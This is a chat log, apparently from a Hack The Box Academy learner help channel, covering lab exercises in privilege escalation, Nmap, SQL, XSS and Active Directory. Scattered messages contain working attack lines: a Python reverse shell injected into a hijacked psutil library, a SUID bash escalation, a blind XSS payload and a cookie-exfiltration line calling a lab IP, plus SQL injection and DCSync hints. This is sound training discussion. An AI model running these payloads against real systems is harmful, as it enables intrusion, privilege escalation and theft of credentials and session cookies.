modules

[fathom pendant]

No, you shouldn't

Unless it's http not https you should be able to connect

Are you connected to the vpn?

[tight mesa]

hi there, anyone who can give me a hint for Hijack Python Lib exercise, please?

cuz I made the step-by-step described in the section, but can't escalate privileges with sudo as described, cuz everytime I execute something with sudo I received this error message, Sorry, user htb-student is not allowed to execute '/usr/bin/python3 ./mem_status.py' as root

[tight bane]

pay attention directory where malware downloaded, you need be aware how infection happened, than you very close. Answer is case sensitive, this took me few evenings away :).
After i noticed strange thing that gave correct answer, only then i got how infection started

[analog dock]

What module is this?

[tight mesa]

LPE

[analog dock]

Can you show the sudo -l output?

[tight mesa]

htb-student@ubuntu:~$ sudo -l
Matching Defaults entries for htb-student on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User htb-student may run the following commands on ubuntu:
(ALL) NOPASSWD: /usr/bin/python3 /home/htb-student/mem_status.py

[analog dock]

Copy and paste as is

Not ./mem_status.py

[tight mesa]

sorry I'm not follow

[analog dock]

Your command is incorrect

You need /home/htb-student/mem_status.py

Not ./mem status

[tight mesa]

hmm ok., got it, lemme try it

ok., @analog dock this is the output with /home/htb-student/mem_status.py

htb-student@ubuntu:~$ sudo PYTHONPATH=/tmp/ /usr/bin/python3 /home/htb-student/mem_status.py
sudo: sorry, you are not allowed to set the following environment variables: PYTHONPATH
htb-student@ubuntu:~$

[analog dock]

???

Why are you adding that other stuff

Just use the sudo command as is

[tight mesa]

what other stuff?

[analog dock]

Pythonpath=tmp???

[tight mesa]

is what is described in the content dude..!!!

I'm following the steps-by-steps

[next bronze]

don't copy and paste commands without understanding them

[analog dock]

I just looked at the section

And you’re not reading what it says

[tight mesa]

that's what I'm trying to do, understand why is not working as explaned in the content

[analog dock]

You just blindly copied the last command it showed

[analog dock]

Did you check the sudo permissions it showed in that example?

It was setenv

[tight mesa]

I understood what did u say....

[analog dock]

Did you check your sudo priv?

[lusty hearth]

did you ever figure out why you were being redirected? I am having the same issue right now.

[analog dock]

No setenv

Go over the section again till you understand what’s happening

[tight mesa]

SETENV: understood, thanks

[lusty hearth]

Actually I found it, had to make sure I was using a fresh request rather than the stale one sitting in my repeater.

[urban tinsel]

Magic! It works! for one of the 3 one-liners I tried. Thanks a lot.

[long basin]

Anyone have any tips/tricks on ABUSING HTTP MISCONFIGURATIONS : Advanced Cache Poisoning Techniques in both cases my payloads seem to be escaped have tried different URL parameters and different encoding schemes to try and bypass < > " from being escaped. Appreciate any assistance.

[kind turret]

@long basin dm me.

[frosty tartan]

I have a problem right now on nibblesblog and getting cat to find my reverse shell

[sleek moss]

in xss blind why doesnt "><script src=http://10.10.14.135:8080/script.js></script> putting in all the input boxes work?

but changing the /script.js to diff ones do?

[tight mesa]

@analog dock can I DM 2 u?

[timber basin]

I've tried both http/s and am connected to the vpn as usual

[analog dock]

For what?

[tight mesa]

for the same exercise, but I'm not finding the right reverse shell syntax to add into the __init__.py

[fathom pendant]

Use backticks `

[analog dock]

Can you show me the contents of the mem status script?

And did you follow and understand the section this time? Like finding the right directory you can write in etc

[tight mesa]

it's a bit long, this is a snippet

    import os
    os.system('import os,pty,socket;s=socket.socket();s.connect(("10.10.15.31",4443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")')

    global _TOTAL_PHYMEM
    ret = _psplatform.virtual_memory()
    # cached for later use in Process.memory_percent()
    _TOTAL_PHYMEM = ret.total
    return ret

def swap_memory():
"/usr/local/lib/python3.8/dist-packages/psutil/__init__.py" 2433L, 87886C```

[fathom pendant]

Wrap it in codeblock please

[tight mesa]

ok

[analog dock]

Try os.system('chmod u+s /bin/bash')

If you did it in the right place and it executes properly, you can just run /bin/bash -p after that

[tight mesa]

ok., lemme try it

[tiny mauve]

Does hackthebox labs only teaches Pen Testing? I'm currently using the free version and wanted to know if that was the case?

[acoustic owl]

There is also a Blue Team path

[rustic sage]

Call for help:
I'm in the File Transfers Module, Windows File Transfer Methods.

The question: " Download the file flag.txt from the web root using wget from the Pwnbox. Submit the contents of the file as your answer. "

I'm using "wget http://target_ip/correct/folder/flag.txt" but receive a 404 error on my attack machine. Does anyone know what I'm doing wrong?

[viscid cedar]

In this Windows Privilege Escalation module Credential Hunting https://academy.hackthebox.com/module/67/section/640

||you find the password for the target in file in the htb-student user app data.|| Is that realistic to expect to find credentials for one user in another users C:\Users directory or was the exercise contrived for pedagogical purposes?

[long basin]

Definitely possible credentials can be found anywhere, sometimes there are applications that store secrets for service accounts in plaintext. Especially if its a user that has two accounts on one machine I wouldnt say its too unrealistic.

[sleek moss]

guys why doesnt new Image().src='http://10.10.14.135:8080/index.php?c='+document.cookie get my index.php on my serv?

[fathom pendant]

You might need to go back and understand what a "webroot" is. Hint it's the base directory

[sleek moss]

oh i c so its wrong directory///

that doesnt make sense

it cant be wrong directory its just port it serving on

and the file is on the same foler

of the server

[Thu Jan 4 15:51:24 2024] PHP 8.2.12 Development Server (http://0.0.0.0:8080) started
[Thu Jan 4 15:51:53 2024] 10.129.50.172:54658 Accepted
[Thu Jan 4 15:51:53 2024] 10.129.50.172:54658 [200]: GET /script.js
[Thu Jan 4 15:51:53 2024] 10.129.50.172:54658 Closing

[fathom pendant]

If you're referring to my comment: it wasn't to you

[sleek moss]

oh i c

[fathom pendant]

Also learn to put stuff in code blocks (```) before and after a block of things, makes it easier to read

[lusty thicket]

try a different payload

[sleek moss]

no the payload works

[rustic sage]

NVM, i was being dumb..... again

[shrewd hazel]

does burp suite or zaproxy have character count ability for encoder/decoder?

[misty venture]

For the 2nd ex of skill assesment in Intro to assembly : do we need to concatenate '/flg.txt' and '\x00' (like the comment say) to add the null byte ? I don't understand where's the problem with my code, it gives me a red prompt without the flag. Thanks

[upper ruin]

There's intro to assembly module?

[misty venture]

yes there is

[upper ruin]

https://tenor.com/view/spongebob-meme-i-need-it-gif-14006288

[muted pulsar]

I realize this is old, but this is the same spot I am stuck on! kirbi2john tickets written: 0

It is driving me nuts

[proven hollow]

Yo is an experienced software hacker here?

[sleek moss]

yes dats me im the elite hacker

[fathom pendant]

Read #rules and #welcome

[proven hollow]

Did i do something wrong?

[proven hollow]

hey can you dm me pls?

[sleek moss]

no

[proven hollow]

Oh

[fathom pendant]

Just prefacing because 99% of the time it's someone asking for illegal services

[proven hollow]

Well is remotely controlling a phone using a virtual machine considered as illegal? Even if its your phone?

[sly dome]

not the right channel

[proven hollow]

oh sorry

[sly dome]

no problem now get out

[proven hollow]

which one?

[fathom pendant]

Hence the reading portion of my message

Read #welcome to figure out how to access more of the server

[proven hollow]

Wait i still dont understand

Wheres htb:community help

[fathom pendant]

Reading was difficult for you growing up wasn't it

#1024429874246590575

[proven hollow]

Oh ok thanks

OHHH NOW I UNDERSTAND

[thorn urchin]

https://tenor.com/view/doubt-press-x-press-la-noire-gif-18717264

[halcyon ferry]

Sorry to text here but is any MOD available to help rn?

[thorn urchin]

about

[halcyon ferry]

Verification

[fathom pendant]

Just message one

[halcyon ferry]

did 2 but no response

[fathom pendant]

As the message indicates

Then be patient

Also make sure whoever you dm isn't on "busy"

[vital crystal]

What is the worth thing that you can do if you find an xss vulnerability

[lusty thicket]

what’s that

[sterile epoch]

Hi I am in the attacking common services lab - easy
I found the creds for the smtp server but I cannot login to it

any help on what am I doing wrong?

i tried using plaintext too but the result was same

[lusty thicket]

iirc port 3306 was open on that host

[sterile epoch]

yes I have logged into the service

[vital crystal]

What is the worst thing that you can do if you find an xss vulnerability

[sterile epoch]

but I was wondering how to login to a smtp service

because I found the creds from there

[rustic sage]

cant ping target ip

ping 10.129.47.70
PING 10.129.47.70 (10.129.47.70) 56(84) bytes of data.
From 10.10.16.1 icmp_seq=1 Destination Host Unreachable

[thorn urchin]

this isnt the channel for general questions

read #rules and #welcome

[lusty thicket]

are you connected to the academy vpn?

[sterile epoch]

I looked into the sql service but all the tables are empty

I tried to write a file but it did not have privs

[tender acorn]

how setup the burp intruder to send 5 request wait 30 sec end send agan 5 request

this dont work it send 1 wait 30 sec end send 1

[sterile epoch]

I checked again the priv value was null so I wrote a webshell to the xampp home

[sterile epoch]

I got the flag but according to the flag there are 2 ways to get I got it through a webshell created by the mysql service any hints to the other one??

[cyan belfry]

So I did some modules the other day, 5-6 and I tried going back thru them again tonight but without looking at the notes I made, I feel stuck still. Is this normal or am I doing something wrong

[shrewd hazel]

Web Proxies, skill assessment, i got the previous question right and believe i have this set up right but i cant seem to generate the correct payload value

prefix is the correct answer from previous question

[hot grove]

im on this part of 'getting started' part of the CPTS modules. I seem to not be able to get the service version to pop up , not sure what flags should be run for this particular as ive tried many combos already. keep in mind im new to the field ( about 1 year & 1/2 ) I completed all the 'Starting Point' boxes, so im not sure why i cant seem to get this figured out. any help please

[shrewd hazel]

-sV parameter

look at the nmap parameters

to specify looking for versions

[next bronze]

#858470491676737536 message

[hot grove]

thanks, the question is sorta misleading by asking for a 'service version'.. i probably looked at the anwer a thousand times thinking im crazy

[shrewd hazel]

and port

[drifting vortex]

Could I get help on the MySQL section in the FOOTPRINTING module?

Stuck on this question: During our penetration test, we found weak credentials "robin:robin". We should try these against the MySQL server. What is the email address of the customer "Otto Lang"?

I know I have to use this

But im unsure of how to form my sentence to get the email of Otto Lang. I'm confident I'm in the right area I just have to write out a string that will pull the name Otto Lang and also the email from both tables.

[sleek moss]

do you guys think its a good idea to add downloads/desktop to the $PATH

[manic wolf]

Opinions on the "Stack-based buffer overflows on Windows x86" module?

Is it worth it?

[storm mantle]

How many total packages are installed on the target system? I used apt list --installed | grep -c “installed” , but it gives me WARNING: apt does not have a stable CLI interface. Use with caution in scripts. 0

How can i solve this question ?

[fickle plover]

does anyone know how to remove Mobile Guardian

or at least how to acces the admin centre?

[woven copper]

It's 100% gold.

[unique finch]

how would i go about finding the right exploit to use for this module? After an nmap scan i found that the open services are blackice-icecap/alerts, us-srv, sun-answerbook along with ssh. all using tcp ports. How would I go about finding the correct exploit to exploit the apache druid service on the system?

[hot grove]

have you got the service versions already

[unique finch]

no

[thorn urchin]

you should do that

the service info provided by nmap without doing actual version scans is just the default common reserved port service. its not necessarily whats actually running

you need service scans/direct interaction to find that part out

[shadow anvil]

Thanks again. Turns out i needed to add an additional parameter to the certipy to make it work. Threw me off because the lesson pracs didnt need it, but I'm guessing the skills assessment environment was different. But a bit of googling and reading the doco on the repo got me there.

Many thanks for the hints/nudges.. I initially had the right idea, but the execution was lacking. Good learning experience none the less. 🙂

[wintry pine]

I am legit stuck on the most basic beginner problem. I am in Linux Fundamentals and I understand what the questions are asking in theory, but I am stuck not knowing where to go to start looking for the answers. It has a target IP but I am trying to understand where to go to the terminal or shell if I am learning correctly to start using the commands. Any help for the noob is appreciated.

[fathom pendant]

terminal is shell in most instances where you'll see it; a target IP means that from either pwnbox or your own vm that is connected to the vpn you will need to connect TO the target IP via some method (in linux targets usually they'll have you connect via SSH

[wanton jasper]

@tidal hornet write it in this channel

[hot grove]

enumerate service versions and look up vulnerabilities against that version of service youre attempting to exploit, go to CVE data base for exploits

[wintry pine]

Thank you!!! Now I just have to figure out why my Pwnbox just blinks and doesnt let me type anything lol. Either way I have my heading. Thank you!

[fathom pendant]

"just blinks" are you using the Terminal thing or the actual pwnbox environment, which btw you can fullscreen

[wintry pine]

The Thingy Labeled "Integrated Terminal" just blinks. When I go to "My Workpsace" the VM. It of course looks like a virtual Desktop and I am unsure how to "open" the shell to start typing SSH command

[fathom pendant]

green icon on the top of the screen :)

also since you're a free user: you're limited to one pwnbox spawn per day so don't forget to increase lifetime

[thorn urchin]

the integrated terminal is trash

[fathom pendant]

^

[thorn urchin]

use the pwnbox proper or setup a vm

[fathom pendant]

setting up a vm is gonna benefit you more in the long-run

[wintry pine]

ahh yes... the ol' follow the chord to the wall equivalent. Welp I solidified my noob status but thank you so much! The journey begins!

Great advice! I will read the FAQs etc to set up a VM

[fathom pendant]

there's actually a whole "Setting Up" module :)

[wintry pine]

hahaha it gets better.

[fathom pendant]

also most Distros (Distributions) have their own docs for setting up vms

[wintry pine]

Well I will start there. Thank you! Got too excited about the Linux Penquin and jumped into that as my first true module.

[tidal hornet]

thx

[fathom pendant]

gl hh

[wintry pine]

🙏

[tidal hornet]

hello, I need help regarding
https://academy.hackthebox.com/module/19/section/103
https://academy.hackthebox.com/module/19/section/119

answer should be {HTB blahblah } right?

[fathom pendant]

you need to evade the firewall; Syn Scans are good at that

you may also need to have the right --source-port

[shadow anvil]

https://help.hackthebox.com/en/articles/5185608-introduction-to-pwnbox also has a section about using the pwnbox UI

[wintry pine]

Truly Appreciated!!! Thank you!

[hot grove]

this is from Network Enumeration with Nmap: any tips on the flags i should use ? ive used a wide range of flag combos , even some complex scans i still cant get the ports to come up

[fathom pendant]

reading is helpful; Firewall IDS/IPS evasion section

[fathom pendant]

what section is this specifically? btw

if it's hard lab then my advice to mcchoi applies to you as well

[tidal hornet]

this one, same like me
https://academy.hackthebox.com/module/19/section/103

[hot grove]

"service enumeration"

[fathom pendant]

hard lab yeah?

oh

IIRC this one is just dumb but try adding -sC or --script banner

this is one of the few questions where answering in pwnbox is the way to go

[fathom pendant]

"Same as you" you linked 2 sections here btw

[tidal hornet]

weild, already i used -sC -sV -O options

let me try again

[hot grove]

Granted ive done the 'starting point' trainng labs , completed all the boxes on their before starting these modules

[fathom pendant]

that really means nothing to me tbh

[hot grove]

ill go ahead and give it a shot, thank you very much

[fathom pendant]

as those boxes have walkthroughs for you to complete them

so unless you took notes as to what you were doing meh

[tidal hornet]

if i don't finish the modules step by step, can't i get cubes?

[fathom pendant]

a lot of the intro modules you don't get cubes until you finish them

[tidal hornet]

sorry for annoying, but am i wrong? nmap module 103

─# ports=$(nmap -p- --min-rate=1000 -T4 10.129.84.52 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sV --script=banner 10.129.84.52
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-04 21:28 EST

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
|_banner: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
110/tcp open pop3 Dovecot pop3d
|_banner: +OK Dovecot ready.
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
| banner: * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID
|_ENABLE IDLE LOGINDISABLED] Dovecot ready.
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
31337/tcp open Elite?
Service Info: Host: NIX-NMAP-DEFAULT; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 188.94 seconds

[drifting vortex]

Referring back to my earlier post for help

[fathom pendant]

in future actually just use the reply feature instead of screenshot

[drifting vortex]

Will do

[fathom pendant]

i mean it's fairly straightforward

select * means select everything
from <table> means from the specific table that has info
where <column> = "string" means where the specific column name matches a string

you'd replace (including the brackets); table, column, and string

[fathom pendant]

try connecting to that one odd service

engage brain and you'll find that sometimes you need to do more: the section even goes over the fact that sometimes NMAP doesn't give all the info @tidal hornet

[drifting vortex]

Gotcha, I kept on replacing the "*" as well

let me give that a shot

[fathom pendant]

unless you know column names, and which columns are important, don't replace the *

[drifting vortex]

Well I do have column names, I just have to grab info from 3 of them

So ill just leave it as is

[fathom pendant]

get the answer first: mess with changing extra parameters after ¯_(ツ)_/¯

[unique finch]

ah! i see, forgot about the -Sv parameter for nmap!

[next bronze]

np, I honestly don't remember what I used to find group memberships, how did you use certipy to find them? or are you talking about ||-target||?

[fathom pendant]

did you fail at hiding text? i saw that

[next bronze]

formatting is hard

[fathom pendant]

it's just || before and after ||like this||

double before and after

ya goon

[drifting vortex]

Hello || I need mental help ||

[next bronze]

||I'm a certified moron||

[fathom pendant]

it's always funny people finding out about it

[drifting vortex]

I never knew

[fathom pendant]

it's a thing

part of discord's markdown support

been around since like forever

[next bronze]

|| for spoilers is not standard markdown totally out of spec

[fathom pendant]

links and headers are more recent

[drifting vortex]

@fathom pendant I dont think im getting my string right

[fathom pendant]

spoiler tags

[drifting vortex]

This is what I'm putting down|| select * from myTable where Otta Lang = email ||

[fathom pendant]

incorrect

you need the "Column Name" = "String"

[drifting vortex]

I forgot to add the ";" at the end

[fathom pendant]

even still; that's not correct :)

[drifting vortex]

I also had it like this || select * from myTable where email = Otto Lang; ||

[fathom pendant]

i.e. select * from Table where id = "20"

why would the email = that string?

:)

[drifting vortex]

fair, I dont know what email Lang has

But when entering the ID table its just numbers and all blank

[fathom pendant]

[drifting vortex]

Im sorry @fathom pendant I'm letting you down 😦

[fathom pendant]

i wasn't entering an ID table

i was saying from the table select a specific id number as an example

check column names for which column could be the user's name

[drifting vortex]

its || 88 ||

i know that from counting from the bottom up

[fathom pendant]

that's not what i'm referring to

i'm referring to if you just got the first few lines for the column names

[drifting vortex]

I'm sorry its also way past my bed time I got work stupid early forgive me for not functioning properly

[fathom pendant]

what column would correspond to a user's name?

engage that single braincell, i believe in you

[drifting vortex]

|| name ||

WAIT!!! LET ME ATTEMPT IT NOW!

I tried || Select * from myTable where name = Otto Lang; ||

still an L

[fathom pendant]

quotes are important

[drifting vortex]

thanks...

im done for the night

time to retire

Im gonna redo this again tomorrow so I can keep it fresh

[shadow anvil]

I used ||'net' on Dev01 to query DC accounts||, so as you've mentioned, allowed me to identify what other permissions J* had. And also yes for ||-target, ||was thinking I was getting my cert issues knocked back due to rights, googled the error message and the pieces of the puzzle started to come together.

[next bronze]

ah okay, yeah you need to use that when the CA is not on DC

[shadow anvil]

i thought the previous lesson pracs also had a seperate CA and I was able to somehow trundle through the questions? though the skills assessment env is a little different.

That being said, doing a full blown command with all the params is usually an eventual go-to measure if i've been banging my head against a wall for a while.

[next bronze]

I think it did, but yeah glad you were able to figure it out

[rustic sage]

Server Side Attacks Module
SSRF exploitation

Quick doubt I'm having here: let's say the target app is 10.10.10.10
if the part which deals with the client is running on port 8080, then it'd be on 10.10.10.10:8080, right?
Now, the internal.app.local (local app accessible through SSRF), is it on the same IP, with just a different port? I'm 99% sure it is but it's bugging me.

[barren robin]

Am I missing something in the Pivoting, Tunneling, and Port Forwarding module with the RDP and SOCKS Tunneling with SocksOverRDP section? I have followed to the instructions but proxifer is not routing any traffic. I was able to get the flag, just by rdping from the first pivot machine, but obviously that isn't the way we are supposed to do it

[limpid frigate]

i need help at live engagement at module shells & payloads, i'm in SEA so it seems lag af and rdp keep dying

[fathom pendant]

Try using the pwnbox, it has an AU server to work from iirc (turn off your vpn connection on your vm first)

[misty current]

Well, it is possible for it be like as you say, so you're not wrong. The web server configuration might have internal.app.local pointing to another internal port with the same IP.
One other possibility, (which I think is your case) is that it's just another host with a web server serving the web service on the default web ports. So, different IP and default web port.

[ruby whale]

I am not able to access cheat sheet, can anybody help?

[faint rampart]

Using an ad-blocker?

[ruby whale]

Using Brave , yes that might be an issue

[fathom pendant]

brave has native ad-blocker

[ruby whale]

Thanks,

[latent glen]

OSCP today boys n girls.. wish me luck

see you on the other side

[fierce veldt]

For AD Enumeration & Attacks - Skills Assessment Part I

I am guessing you use WinRM to connect to MS01? If not do you use SQL?

[unique finch]

after using nmap vuln scanner, how would i use the vulnerabilites?

are these vulns not included in metasploit?

[thorn urchin]

some are some arent

[fathom pendant]

sometimes nmap doesn't grab all the info: nmap isn't really a vuln scanner anyway

[next bronze]

are you talking about --script vuln? the things that it can detect is very limited, don't rely on it

[unique finch]

what should i use for vuln scanning?

[thorn urchin]

your brain mostly

[unique finch]

so just search the database for the service name and version?

[thorn urchin]

as a first step yeah

just dont be surprised when its not always that simple

pub exploits in exploitdb/metasploit is just 101 stuff

[unique finch]

i see

so most of the time you will not be using public exploits as is

[fierce veldt]

Why is everyone using chisel for AD Enumeration & Attacks - Skills Assessment Part I

Don't remember learning about that so far...

[next bronze]

it's in the pivoting module

[next bronze]

you can, or you might need to modify the code, really depends on the situation

[fierce veldt]

Thanks, picked up these courses after six months off so you saved me a ton of searching.

[fathom pendant]

This isn't the place

[fierce veldt]

Definitely wrong place

[fathom pendant]

read #rules before continuing asking for things

and read #welcome

this isn't just some rando hacker server

[fierce veldt]

Did you even try YouTube? Feels like a troll.

[buoyant drum]

Hi, Can anyone help me with this [-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) in impacket-GetUserSPNs.

[autumn pilot]

What is the vital moment when interacting with kerberos

[buoyant drum]

I tried ntupdate with dc-ip It didn't work.

[sly dome]

morning!

the ||Gitlab ||instance of the 'Attacking Enterprise Network' is giving me error 500 and is driving me nuts. Any fixes?

apart of resetting the lab all time

[autumn pilot]

Gitlab takes a few minutes to load

[sly dome]

ok

the point is it was working, i register an user and it returns error 500 after that

[coarse verge]

Hello I'm new here and need help I'm doing the windows fundamental module.. I've at first I used to be able to spawn target machines but I took a break from HTB I've gotten back and each time I try to spawn a target machine it loads but doesn't spawn just reads "click here to spawn machine" I've logged out /in no change, got a different VPN connection file no change... Any help

[proud pine]

I'd spoiler/remove things from the Attacking Enterprise Networks module, as most people want to do it blind.

[sly dome]

yes i am doing it blind

[proud pine]

Yes, I'm saying that others will also want to do it blind, and your message about it contains spoilers.

[buoyant drum]

any help? please

[fathom pendant]

sir

adjust your glasses

we're in #modules

[proud pine]

I don't even know how I got here. I had this channel hidden for months now lol

[fathom pendant]

isn't there another time update command?

rtdate or something?

[sly dome]

faketime never disappoints

[fathom pendant]

i see you're avoiding losing braincells?

[proud pine]

I just got too many pings, and people asking for exam hints, when I posted here regularly. I must have wandered back here when linking someone here from #cpts lol

[fathom pendant]

that's fair

https://tenor.com/view/where-the-hell-am-i-where-am-i-lost-in-a-field-confused-gif-11092516

[autumn pilot]

feel free to link them to me

[proud pine]

The cheaters? I have contact with one of the admins for reporting them, but I just got fed up with getting the pings entirely. Was honestly like one person per week.

[rustic sage]

hi guys i wanna do web exploits and stuff. im good in python and linux. i have $0 to pay for htb. which module should i take?

[fathom pendant]

any of the tier 0 ones, information security fundamentals path

aside from that you're not gonna get far on academy without paying for some content

[rustic sage]

hmm

what abt the web reqs one?

[fathom pendant]

definitely good to know

if you scroll down on it; it says some of the recommended pre-reqs are Intro to Networking and Linux Fundamentals

[rustic sage]

i see

thanks

[ruby whale]

if I purchase any monthly subscription and unlock modules , will I be able to access modules after the monthly subscription ends ?
I'm planning to follow the CPTS path.

[fathom pendant]

monthly subscriptions give cubes; any module unlocked with cubes is yours indefinitely

[ruby whale]

If we go by that logic, using Platinum subscription and buying a voucher would be cheaper than buying Silver annual subscription.

[fathom pendant]

1 mo plat and 1 mo gold (assuming you haven't touched any of the modules already)

the math has indeed, already been done

[ruby whale]

Thank you for your help. Started last week , and planning to complete the role by August this year.

[midnight galleon]

Hi there
In the shell&payload module, crafting payload with msfvenom section, the author crafted an elf file with msfvenom and somehow transferred it to the victim machine, and then the victim clicked that elf file and it got executed and received the shell

My problem is that when I transferred the elf file(using Python server), it became non-executable, so in order to run it u would need to chmod +x it and then run it, which "wouldn't make sense" in the context of actual phising
So how can it get transferred and executable by default?

[fathom pendant]

i believe when it's created by default it's not executable (but I could be wrong though)

to prevent idiots from accidentally running it on their own system :^)

[midnight galleon]

Yes, I made it executable before starting the server

[fathom pendant]

then idk

¯_(ツ)_/¯

[midnight galleon]

[fathom pendant]

it might just be the way it was transferred; but also with phishing - people are encouraged to make it executable anyway

i.e. in an email you might write "you'll need to make it executable and run it for us to finish the backup"

[midnight galleon]

I wouldn't expect someone who clicks it to know how to make it executable and vice versa

[sullen torrent]

i dont have access to the mentioned room.
and i'll try your recommendation and lyk. but why do we need to give a space after the comment tho? how does it make any difference. very dumb question but i just make my foundation strong

i'll try that. thank you : )

[midnight galleon]

I think a more reliable way is to embed the shell in an actual executable and have that running

[next bronze]

from the walkthrough, they gave your the sql query

SELECT * FROM users WHERE username= '<injection>' AND password='a'

as I said, -- needs a space afterwards to be recognised as a comment, if the sqli is

SELECT * FROM users WHERE username= 'admin'--' AND password='a'

it wouldn't get recgonised as a comment, so you need to add a space. you don't always know what the query is, so it's safer to always add a space or use -- -

[fathom pendant]

read #welcome to find out how to gain access to more of the server

[sullen torrent]

affirmative. i got you. thanks

[fierce veldt]

For the AD Skills Assessment 1 final question is it going to be a PtT maneuver?

I keep thinking these skill assessments will only pertain to topics of the current section. This is not the case I now realize.

[sullen torrent]

thanks, i'll go through it

[fathom pendant]

well skills assessments work to gather your knowledge of the whole module

not just one particular aspect

[fierce veldt]

Yeah but for some reason this AD skills assessment requires a majority of skills from past modules?

[fathom pendant]

the module itself assumes prior knowledge of attacks/methods

¯_(ツ)_/¯

[fierce veldt]

Ah, I didn’t think there was any specific order to completing modules. Assumed they were self contained.

[fathom pendant]

if you're doing the CPTS path; it's generally good to do them in order

[autumn pilot]

every module's description contains information about pre-requisites

[fierce veldt]

That’s actually very helpful. I’ll be sure to check that once I finish this one!

[fathom pendant]

while they are self-contained; there's still some level of prior knowledge required to understand and succeed

[fierce veldt]

Yeah I wasted a ton of time trying to use WinRM because it’s heavily referenced in the module but this particular assessment did not require it.

[fathom pendant]

WinRM is just a PS shell wrapper for remoting

(RM standing for Remote Management)

and generally there's more than one way to crack an egg in AD

multiple tools that fulfill the same/better purpose

[fierce veldt]

I believe WinRM would work for the assessment but pivoting and using RDP was a better solution for me personally

[hoary sail]

Hello, I'm working on a module "Network Enumeration with NMAP". I stuck on hard lab of "Firewall and IDS/IPS evasion". I passed the easy and medium labs, but I don't know how to proceed with this one. Even the hints are not much helpfull. Many thanks

[lusty thicket]

do a full port scan -p-

[fathom pendant]

full port scan and Syn

[hoary sail]

Ok, ... it took a lot of time, so I canceled it

@fathom pendant & @lusty thicket Many thanks

[buoyant escarp]

For me those scans took like 20 minutes

[fathom pendant]

doing a full port scan does generally take a bit of time

[snow ridge]

Is there something I am missing in "Password attacks" module and in "Password mutation" section: Create a mutated wordlist using the files in the ZIP file under "Resources" in the top right corner of this section. Use this wordlist to brute force the password for the user "sam". Once successful, log in with SSH and submit the contents of the flag.txt file as your answer. I created that mutated list and it has about 94k passwords if I brute with hydra it will take around 20 hours. I already did for about 30 mins, but I dont wanna spend a whole day for this exercise

[fathom pendant]

don't attack ssh

[snow ridge]

Thanks did an nmap scan and found other services too. I will look further into them

[fathom pendant]

also as a protip for this module: save login info you find

[snow ridge]

Thanks

[paper fjord]

Which pathways or modules do you guys reccommend for someone with basically zero skillset in this region?

[fathom pendant]

Information Security Fundamentals path

[paper fjord]

Information security foundations?

[fathom pendant]

ye that one

[paper fjord]

ty

Ill get onto it. Im very new to all of this and am looking to get some knoiwledge in before commencing actual study

[fathom pendant]

There's a "setting up" module that should help you get a vm set up

[quick magnet]

hi i'm in intro assembly,
since i use linux aarch64, it can't using cisc
is there any tool that can convert cisc to risc ?

[mortal basin]

🔥

[misty current]

🔥

[steep kraken]

im having a challange on the module Oracle TNS when i try to install sudo apt install oracle-instantclient-basic oracle-instantclient-devel oracle-instantclient-sqlplus -y i get the errors E: Unable to locate package oracle-instantclient-devel
E: Unable to locate package oracle-instantclient-sqlplus . how are people workign around this issue?

[lyric inlet]

Hello , I can ask for one question about adcs skills assessment , last question ?

[tribal plinth]

Sure

[oblique spoke]

Hello! i got stucked at this questtion, i dont know what to do. Its on AD Enumeration & Attacks - Skills Assessment Part I and i should Take over the domain and submit the contents of the flag.txt file on the Administrator Desktop on DC01 . Can anyone push me in the right direction? thank you

[steep kraken]

Anyone

[buoyant escarp]

Ive had the same, i couldn’t solve it, so i gave someone in the community the credentials as proof and he gave me the flag 😂

Basicly the repo is no longer supporting it in apt or apt-get

[steep kraken]

Ohh man, ohhh man.

[wind meadow]

on https://academy.hackthebox.com/module/77/section/853 when i try "sudo monitor.sh" it's asking for a password even though linenum says i should be able to execute as root without pw

[weak stirrup]

Any ideas why I might not have the module for sock proxy in metasploit v.6.3.44-dev. I get this error:

> use auxiliary/server/socks_proxy
Loading extension auxiliary/server/socks_proxy...
[-] Failed to load extension: No module of the name auxiliary/server/socks_proxy found

[hoary sail]

The command in sudoers must be the same as you execute ...

I'm still stuck with the hard lab of "Firewall and IDS/IPS Evasion" on https://academy.hackthebox.com/module/19/section/119. Can somebody give me a hint what performance/evasion parameters should be used in order to discover the proper port (the port which "the customer" is talking about - as stated in hint), please?

[lusty thicket]

do a full port scan -p-

[hoary sail]

I did ... it returned two ports only.

[lusty thicket]

strange

try from the pwnbox

[hoary sail]

I'm working on pwnbox

[lusty thicket]

[hoary sail]

LOL ... for me the same 🙂

[stark berry]

not sure if its just me but i'm doing the YARA and SIGMA module rn and the rdp connection is so bad that it's unusable

[next bronze]

hello, I have a question about the ESC5 section, can I check with you?

[oblique spoke]

Okay so i managed to run mimikatz, but cand find the User that i am looking for but instead i got some random pw from MS01$, is there any new ideas?

[next bronze]

are you at the last question or don't have the user you need?

[oblique spoke]

me?

i am at the last question

[next bronze]

do the attack in the second last question then

[oblique spoke]

what do you mean?

[tribal plinth]

Hey, sure 🙂

[next bronze]

the attack that's the answer for the second last question, do that, that's how you take over the domain

[oblique spoke]

well i was trying to make dcsync with the last user that i found, but cant find the admin pw

[next bronze]

if you did dcsync you'll get the hashes of all users in the domain

[oblique spoke]

yeah i got some ntlm hashes but admin user is not part of that output somehow

also got a very long cleartext pw for MS01$

[next bronze]

dcsync wouldn't contain clear text passwords, make sure you're doing the right thing

[oblique spoke]

i use mimikatz lsadump:dcsync

[next bronze]

